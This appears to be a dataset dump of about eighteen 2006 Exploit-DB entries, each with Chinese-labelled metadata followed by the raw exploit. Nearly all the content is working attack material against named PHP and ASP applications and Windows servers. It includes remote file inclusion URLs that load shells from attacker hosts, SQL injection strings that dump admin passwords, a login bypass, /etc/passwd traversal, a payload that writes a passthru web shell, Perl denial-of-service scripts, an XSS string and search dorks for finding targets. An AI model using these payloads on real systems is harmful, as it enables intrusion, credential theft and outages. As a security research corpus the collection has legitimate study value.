QLWD/code_shield huggingface dataset:
标题: phpDynaSite 3.2.2 - 'racine' Remote File Inclusion EDB-ID: 2717 CVE: 2006-5760 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-04 漏洞利用脚本: **********************************************************************************************************
                                                    WwW.Deltahacking.NeT
                                                
**********************************************************************************************************

* dynasite3.2.2

* Class = Remote File Inclusion ;
 
* Download = http://jaist.dl.sourceforge.net:80/sourceforge/phpdynasite/dynasite3.2.2.tar.gz

* Found by = Dr.Pantagon (rezayavari2006@yahoo.com)

-------------------------------------------------------------------------------------------------------------------


- Vulnerable Code

     include($racine."connection.php");

++++++++++++++++++++++++++++++++++++++++++++

- Exploit:


    http://[target]/[path]/function_log.php?racine=http://evilsite.com/shell?
    http://[target]/[path]/function_balise_url.php?racine=http://evilsite.com/shell?
    http://[target]/[path]/connection.php?racine=http://evilsite.com/shell?


------------------------------------------------------------------------------------------------------------------

Gr33tz:  Dr.Torojan

**************************************************************************************************************

# milw0rm.com [2006-11-04] URL: https://www.exploit-db.com/exploits/2717
标题: XM Easy Personal FTP Server 5.2.1 - Remote Denial of Service EDB-ID: 2715 CVE: 2006-5728 类型: DOS 平台: WINDOWS 发布日期: 2006-11-04 漏洞利用脚本: #!/usr/bin/perl
#
# *
# * Title: XM Easy Personal FTP Server <= 5.2.1 'NLST -al' Remote Denial of Service
# * Author: boecke
# * Discovery: boecke
# * Vulnerability Type: Remote Denial of Service
# * Risk: Low Risk (Requires valid
# * Software Affected: XM Easy Personal FTP Server <= 5.2.1
# * Greetings: henrik, str0ke!
# *
#

use IO::Socket;

$commandToSend = "NLST -al ";
$remoteUsername = "anonymous";
$remotePassword = "borat\@kik.com";
$remotePort = $ARGV[1];

sub bannerExploit()
{
       print "\n x XM Easy Personal FTP Server <= v5.2.1 Remote Denial of Service\n";
       print " x Author: boecke\n x Discovery: boecke (boecke [at] herzeleid [dot] net)\n\n";
}

if ( @ARGV < 2 )
{
       bannerExploit();

       print " * Usage: perl ftp.pl 192.168.0.1 21\n\n";

       exit;
}

if ($socket = IO::Socket::INET->new( PeerAddr => $ARGV[0], PeerPort => $remotePort, Proto => "TCP" ))
{
       bannerExploit();

       print " + Establishing connection at " . $ARGV[0] . ":" . $remotePort . "\n";

       print $socket "USER " . $remoteUsername . "\r\n";

       print " * FTP Username: \'" . $remoteUsername . "\'\n";

       sleep( 1 );

       print $socket "PASS " . $remotePassword . "\r\n";

       print " * FTP Password: \'" . $remotePassword . "\'\n";

       print $socket $commandToSend . "A" x 9000 . "\r\n";

       sleep( 3 );

       print $socket "QUIT\r\n";

       print " + Sent 9000 bytes of data to $ARGV[0]:$remotePort\n\n";
}
else
{
       bannerExploit();

       print " + Failed to establish connection to " . $ARGV[0] . ":" . $remotePort . "\n";

}

# milw0rm.com [2006-11-04] URL: https://www.exploit-db.com/exploits/2715
标题: Essentia Web Server 2.15 - GET Remote Denial of Service EDB-ID: 2716 CVE: 2006-5850 类型: DOS 平台: WINDOWS 发布日期: 2006-11-04 漏洞利用脚本: #!/usr/bin/perl


use IO::Socket;

use Getopt::Std; getopts('h:', \%args);



if (defined($args{'h'})) { $host = $args{'h'}; }

print STDERR "\n-=[ Essentia Web Server 2.15 Remote DOS Exploit]=-\n";

print STDERR "-=[ Discovered By CorryL          corryl80@gmail.com ]=-\n";

print STDERR "-=[ Coded by CorryL     info:www.x0n3-h4ck.org ]=-\n\n";

if (!defined($host)) {

print "usage: perl " . $0 . " -h HOST\n";

exit();
}

$dos = "A"x6800;

print "[+] Connect to $host\n";

$socket = new IO::Socket::INET (PeerAddr => "$host",

                               PeerPort => 80,

                               Proto => 'tcp');

                               die unless $socket;

print "[+] Sending DOS byte\n";

         $data = "GET /$dos \r\n\r\n";

# milw0rm.com [2006-11-04] URL: https://www.exploit-db.com/exploits/2716
标题: SazCart 1.5 - 'cart.php' Remote File Inclusion EDB-ID: 2718 CVE: 2006-5727 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-04 漏洞利用脚本: sazcart v1.5 (cart.php) Remote File include
*********************---Hitamputih crew---******************************** 
* Bug Found By : IbnuSina
* vendor : http://sazcart.com/site
*Risk    : High
* Greetz : *Solpot,permenhack,barbarosa,cah|gemblunkz,fung_men,setiawan,irvian,meteoroid
* and all member hitamputih crew community www.kaipank.org/forum
*especially thx to str0ke@milw0rm.com 
***************************************************************************
bug found on admin/controls/cart.php
include($_saz['settings']['shippingfolder'] . "/shipping.php");
$Shipping = new Shipping;
include($_saz['settings']['taxfolder'] . "/tax.php");
$Tax = new Tax;

exploit :
http://sitename.com/[sazcart PATH]/admin/controls/cart.php?_saz[settings][shippingfolder]=HTTP://EVILCODE?
google dork: "powered by sazcart"

# milw0rm.com [2006-11-04] URL: https://www.exploit-db.com/exploits/2718
标题: Creasito E-Commerce Content Manager - 'admin' Authentication Bypass EDB-ID: 2709 CVE: 2006-5777 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-03 漏洞利用脚本: ============================================================================================

Creasito E-Commerce Content Manager (admin) Authentication Bypass

============================================================================================

Product............: Creasito E-Commerce Content Manager
Affected versions..: Creasito <= 1.3.08
Security Risk......: High
Vendor.............: G. Fabozzi (http://creasito.bloghosteria.com/)
Product Link.......: http://prdownloads.sourceforge.net/creasito/creasito1.3.08.zip?download
Discovered by......: SlimTim10


Details:
---------
Files in the /admin directory use a very poor security method for authentication that is
simple to bypass.

Vulnerable Code:
-----------------
if ( empty( $finame ) ) {
?> Prego effettuare il login <a href="index.php"> Qui<br>
&copy;Bloghosteria.com<br>
</a>

Vulnerable Files:
------------------
(in /admin)
addnewcont.php, adminpassw.php, amministrazione.php, artins.php, bgcolor.php,
cancartcat.php, canccat.php, cancelart.php, cancontsit.php, chanpassamm.php, dele.php,
delecat.php, delecont.php, emailall.php, gestflashtempl.php, gestmagart.php, gestmagaz.php,
gestpre.php, input.php, input3.php, insnucat.php, instempflash.php, mailfc.php,
modfdati.php, rescont4.php, ricordo1.php, ricordo4.php, tabcatalg.php, tabcont.php,
tabcont3.php, tabstile.php, tabstile3.php, testimmg.php, update.php

Proof of Concept:
------------------

http://[host]/admin/amministrazione.php?finame=1
http://[host]/admin/admin/dele.php?finame=1
http://[host]/admin/chanpassamm.php?finame=1&password=testing&passver=testing *
* Changes the password as well as bypassing authentication


Solution:
----------
Use a better authentication method, like cookies!

================================================================

Shoutz: PCD, dw0rek, Tainted, str0ke!
SlimTim10 <slimtim10[at]gmail[dot]com>

================================================================

# milw0rm.com [2006-11-03] URL: https://www.exploit-db.com/exploits/2709
标题: Article System 0.6 - 'volume.php' Remote File Inclusion EDB-ID: 2703 CVE: 2006-5766 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-02 漏洞利用脚本: **********************************************************************************************************
                                                              
                   Coding 4 Fun (c4f.pl) 
                                         
**********************************************************************************************************

* Article System 0.6 ; 

* Class = Remote File Inclusion ;
 
* Download = http://sourceforge.net/project/showfiles.php?group_id=49971&package_id=43403&release_id=325871 ;

* Found by = GregStar (gregstar[at]c4f[dot]pl) ;

-------------------------------------------------------------------------------------------------------------------


- Vulnerable Code in volume.php:

 require "{$config['public_dir']}/templates/html/volume.php" ;


- Exploit:

http://[target]/[path]/volume.php?config[public_dir]=http://evilsite.com/shell?


------------------------------------------------------------------------------------------------------------------


Gr33tz:  sASAn,marcel3miasto,masS,kaziq,Abi,kociaq,SlashBeast,chochlik,RFL,d3m0n,java,kw@ch and for all friends.



**************************************************************************************************************

# milw0rm.com [2006-11-02] URL: https://www.exploit-db.com/exploits/2703
标题: Drake CMS < 0.2.3 ALPHA rev.916 - Remote File Inclusion EDB-ID: 2713 CVE: 2006-5767 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-04 漏洞利用脚本: **********************************************************************************************************
                                                              
                   Coding 4 Fun (c4f.pl) 
                                         
**********************************************************************************************************

* Drake CMS v0.2.2 ALPHA rev.846 (http://drakecms.org) ; 

* Class = Remote File Inclusion ;
 
* Download = https://sourceforge.net/project/showfiles.php?group_id=166901&package_id=192077&release_id=420102 ;

* Found by = GregStar (gregstar[at]c4f[dot]pl) ;

-------------------------------------------------------------------------------------------------------------------


- Vulnerable Code in "includes/xhtml.php" :

  include $d_root.'classes/kses.php';

++++++++++++++++++++++++++++++++++++++++++++

- Exploit:

 http://[target]/[path]/includes/xhtml.php?d_root=http://evilsite.com/shell?


------------------------------------------------------------------------------------------------------------------

Gr33tz:  sASAn,marcel3miasto,masS,kaziq,Abi,kociaq,SlashBeast,chochlik,RFL,d3m0n,java,reyw,kw@ch and for all friends.

**************************************************************************************************************

# milw0rm.com [2006-11-04] URL: https://www.exploit-db.com/exploits/2713
标题: FreeWebShop.org script 2.2.2 - Multiple Vulnerabilities EDB-ID: 2704 CVE: 2006-6941 2006-5773 2006-5772 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-02 漏洞利用脚本: Product: www.freewebshop.org
Version: 2.2.x, maybe lower
Critical Lvl : Highly critical
Where : From Remote
Exploits:

Bypass Login:
username:admin
password:' or 'a'='a

Read Files:
/index.php?page=info&action=../../../../../../../../../../../../etc/passwd%00

List Passwords:
/index.php?page=details&prod=1%20UNION%20SELECT%201,password,3,loginname,5,6,7,8%20FROM%20customer

Path Disclosure:
/index.php?page=info&action=../../1337inexistant

Create Files (needs Path Disclosure):
/index.php?page=details&prod=1337%20UNION%20SELECT%201,2,3,%22%3C?php%20passthru($_GET['cmd'])%20?%3E%22,5,6,7,8%20FROM%20customer%20INTO%20OUTFILE%20'[NEWPATH]/fork.php'
/langs/uk/fork.php?cmd=ls


Discovered by Spiked and anonymous.
irc.geekshangout.org #backup 

# milw0rm.com [2006-11-02] URL: https://www.exploit-db.com/exploits/2704
标题: TikiWiki 1.9.5 Sirius - 'sort_mode' Information Disclosure EDB-ID: 2701 CVE: 2006-5703 2006-5702 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-01 漏洞利用脚本: /*==========================================*/
//tikiwiki version 1.9.5 (CVS) -Sirius-  (PoC)
// Product: Tikiwiki 
// URL: http://tikiwiki.org/
// RISK: critical
/*==========================================*/




there's a critical security bug in tikiwiki version 1.9.5 (CVS) -Sirius-
a anonymous user , can dump the mysql user & passwd just by creating a mysql error with the "sort_mode" var , with those following links :
/tiki-listpages.php?offset=0&sort_mode=
/tiki-lastchanges.php?days=1&offset=0&sort_mode=
/messu-archive.php?sort_mode=
/messu-mailbox.php?sort_mode=
/messu-sent.php?sort_mode=
/tiki-directory_add_site.php?sort_mode=
/tiki-directory_ranking.php?sort_mode=
/tiki-directory_search.php?sort_mode=
/tiki-forums.php?sort_mode=
/tiki-view_forum.php?forumId=
/tiki-friends.php?sort_mode=
/tiki-list_blogs.php?sort_mode=
/tiki-list_faqs.php?sort_mode=
/tiki-list_trackers.php?sort_mode=
/tiki-list_users.php?sort_mode=
/tiki-my_tiki.php?sort_mode=
/tiki-notepad_list.php?sort_mode=
/tiki-orphan_pages.php?sort_mode=
/tiki-shoutbox.php?sort_mode=
/tiki-usermenu.php?sort_mode=
/tiki-webmail_contacts.php?sort_mode=

a proof of concept is disponible here : http://cockor.free.fr/PoC.swf

there's also a xss here :
/tiki-featured_link.php?type=f&url=" ></iframe><scr</script>ipt>alert('XSS')</scri</script>pt> <!--

regards , securfrog 

# milw0rm.com [2006-11-01] URL: https://www.exploit-db.com/exploits/2701
标题: MODx CMS 0.9.2.1 - 'FCKeditor' Remote File Inclusion EDB-ID: 2706 CVE: 2006-5730 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-03 漏洞利用脚本: +-------------------------------------------------------------------------------------------
+ MODx CMS 0.9.2.1 (base_path) Remote File Include Vulnerability
+-------------------------------------------------------------------------------------------
+ Affected Software .: MODx CMS 0.9.2.1
+ Vendor ............: http://modxcms.com/
+ Download ..........: http://modxcms.com/downloads.html
+ Description .......: "MODx is an open source PHP Application Framework that helps you take control of your online content."
+ Dork ..............: "powered by MODx"
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ MODx CMS manager/media/browser/mcpuk/connectors/php/commands/thumbnail.php does not initialize
+ the $base_path variable before using it to include files, assuming register_globals = on,
+ we can intialize the variable in a query string and include a remote file of our choice.
+ 
+ Vulnerable Code:
+ manager/media/browser/mcpuk/connectors/php/commands/thumbnail.php, line(s) 24:
+ -> include $base_path."manager/media/browser/mcpuk/connectors/php/Commands/helpers/iconlookup.php";
+
+ Proof Of Concept:
+ http://[target]/[path]/manager/media/browser/mcpuk/connectors/php/Commands/Thumbnail.php?base_path=http://evilsite.com/shell.php?
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-11-03] URL: https://www.exploit-db.com/exploits/2706
标题: P-Book 1.17 - 'pb_lang' Remote File Inclusion EDB-ID: 2691 CVE: 2006-5667 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-31 漏洞利用脚本: ____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/                              .OR.ID
ECHO_ADV_56$2006

------------------------------------------------------------------------------
[ECHO_ADV_56$2006] P-Book <= 1.17 (pb_lang) Remote File Inclusion
------------------------------------------------------------------------------

Author  : Ahmad Maulana a.k.a Matdhule
Date Found : October, 18th 2006
Location : Indonesia, Jakarta
web  : http://advisories.echo.or.id/adv/adv56-matdhule-2006.txt
Critical Lvl : Highly critical
Impact  : System access
Where  : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Application : P-Book
version  : 1.17
URL  : http://www.PPoPn.net

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

I found vulnerability script admin.php

-----------------------admin.php----------------------
....
<?

$time = $reload * 60;
include("$pb_lang/language.php");
...
----------------------------------------------------------

Input passed to the "pb_lang" parameter in admin.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files:
pbook.php

Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[p-book_path]/admin.php?pb_lang=http://attacker.com/inject.txt?
http://target.com/[p-book_path]/pbook.php?pb_lang=http://attacker.com/inject.txt?

Solution:
~~~~~~~
- Sanitize variable $pb_lang on affected files.

---------------------------------------------------------------------------
Shoutz:
~~~
~ solpot a.k.a chris, J4mbi  H4ck3r thx for the hacking lesson    :)   
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ newbie_hacker@yahoogroups.com, jasakom_perjuangan@yahoogroups.com
~ Solpotcrew Comunity (#nyubicrew), #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~
 
     matdhule[at]gmail[dot]com
     
-------------------------------- [ EOF ]----------------------------------

# milw0rm.com [2006-10-31] URL: https://www.exploit-db.com/exploits/2691
标题: phpProfiles 2.1 Beta - Multiple Remote File Inclusions EDB-ID: 2688 CVE: 2006-5634 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-30 漏洞利用脚本: #==================================================================
#  phpProfiles (RFI)
#==================================================================
# Info:-
#
# Scripts: phpProfiles
# download : http://sourceforge.net/project/showfiles.php?group_id=176310
# Version : v.2.1 Beta
# Dork & vuln : download scripts and think :)
#
#==================================================================
#Exploit :
#
#http://localhost/path/users/include/body.inc.php?reqpath=http://EvElCoDe.txt?
#http://localhost/path/users/include/body_blog.inc.php?reqpath=http://EvElCoDe.txt?
#http://localhost/path/users/include/upload_ht.inc.php?usrinc=http://EvElCoDe.txt?
#
#==================================================================
#Discoverd By : v1per-haCker
#
#Conatact : v1per-hacker[at]hotmail.com
#
#XP10_hackEr Team               >>      www.xp10.com
#SpeciaL PoweR SecuritY TeaM    >>      www.specialpower.org
#
#Greetz to :    | abu_shahad | RooT-shilL | hitler_jeddah | BooB11 | FaTaL |
#               | ThE-WoLf-KsA | mohandko | fooooz | maVen | fucker_net |
#               | metoovet | MooB | Dr.7zN | ToOoFA | Cold Zero | Afroota |
#               | Jean | CoDeR |
#
# Thanks >>     /str0ke & www.milw0rm.com & www.google.com
===================================================================

# milw0rm.com [2006-10-30] URL: https://www.exploit-db.com/exploits/2688
标题: Techno Dreams Guestbook 1.0 - 'key' SQL Injection EDB-ID: 2684 CVE: 2006-5640 类型: WEBAPPS 平台: ASP 发布日期: 2006-10-30 漏洞利用脚本: *******************************************************************************
# Title  :  Techno Dreams Guestbook v1.0 (guestbookview.asp) Remote SQL Injection Vulnerability
# Author :   ajann
# Script Page: http://www.t-dreams.com

*******************************************************************************

###http://[target]/[path]/guestbookview.asp?key=[  SQL ]

Example:

//guestbookview.asp?key=7782%20union%20select%200,0,adminname,password,0,0,0%20from%20admin


"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-10-30] URL: https://www.exploit-db.com/exploits/2684
标题: GEPI 1.4.0 - '/gestion/savebackup.php' Remote File Inclusion EDB-ID: 2692 CVE: 2006-5669 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-31 漏洞利用脚本: Package:- gepi 1.4.0
http://adullact.net/frs/download.php/992/gepi-1.4.0.tar.gz

impact:- highly critical ..System Access..
vulnerable code:-
      include($_GET['filename']);
in gepi/gestion/savebackup.php

Exploit:-
http://localhost/gepi/gestion/savebackup.php?filename=http://attacker.com/test.txt&cmd=cat
/etc/passwd

in test.txt
<? passthru("$_GET[cmd]");?>

Credits:-
$um$id

# milw0rm.com [2006-10-31] URL: https://www.exploit-db.com/exploits/2692
标题: E Annu 1.0 - Authentication Bypass / SQL Injection EDB-ID: 2687 CVE: 2006-5666 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-30 漏洞利用脚本: <html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>E Annu 1.0 Login Bypass SQL Injection Exploit</title>

<script language="JavaScript">
 
//'===============================================================================================
//'[Script Name: E Annu 1.0 Login Bypass SQL Injection Exploit
//'[Coded by   : ajann
//'[Author   : ajann
//'[Contact    : :(
//'[Using : Write Target after Submit Click
//'===============================================================================================
   

     //Basic exploit,but any time : ( 

function command(){
       if (document.sql.login.value==""){
          alert("Failed..");
      return false;
    }


  
  sql.action= document.sql.target1.value // Ready Target : )
  sql.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>
<p><b><font face="Verdana" size="2" color="#008000">E Annu 1.0 Login Bypass SQL Injection</font></b></p>
<p></p>
<form method="post" name="sql" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00" size="2" face="Arial">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>

  <input type="hidden" name="login" value="' union select 0,0,0,0,0 from user/*" onmouseout="javascript:this.style.background='#808000';"></p>
<input type="hidden" name="password">
<input type="hidden" name="action_connect">
<br>
 <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';">

  <p><input type="submit" value="Gönder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>
</form>
<p><br>
</p>
<b><font face="Verdana" size="2" color="#008000">ajann</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2006-10-30] URL: https://www.exploit-db.com/exploits/2687
标题: Faq Administrator 2.1 - 'faq_reply.php' Remote File Inclusion EDB-ID: 2678 CVE: 2006-5637 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-29 漏洞利用脚本: #==================================================================
#  Faq Administrator (RFI)
#==================================================================
# Info:-
#
# Scripts:  Faq Administrator
# http://www.campbus.com/downloads/faqadmin/faqadmin-current.tgz
# Version : 2.1b
# Dork & vuln : download scripts and think :)
#Note : if the shell included stop the page and do your work :)
#==================================================================
#Exploit :
#
#http://localhost/path/faq_reply.php?email=http://EvElCoDe.txt?
#
#==================================================================
#Discoverd By : v1per-haCker
#
#Conatact : v1per-hacker[at]hotmail.com
#XP10_hackEr Team
#Greetz to :| abu_shahad | RooT-shilL | hitler_jeddah | BooB11 | FaTaL |
#                 ThE-WoLf-KsA | mohandko | fooooz | maVen | fucker_net |
#            metoovet | MooB | Dr.7zN | ToOoFA | Cold Zero | Afroota |
#And all members in XP10_hackEr Team
#Thanx to str0ke :)
#WWW.XP10.COM
#
#==================================================================

# milw0rm.com [2006-10-29] URL: https://www.exploit-db.com/exploits/2678
标题: PHPMyRing 4.2.1 - 'cherche.php' SQL Injection EDB-ID: 2679 CVE: 2006-5638 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-29 漏洞利用脚本: *******************************************************************************
# Title  :  PHP My Ring <= 4.2.1 (cherche.php) Remote SQL Injection Vulnerability
# Author :   ajann
*******************************************************************************

###http://[target]/[path]/cherche.php?limite=-1%20union%20select%200,pseudo,0,mdp,0,0%20from%20webring/*&mots=%20&where=description

# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-10-29] URL: https://www.exploit-db.com/exploits/2679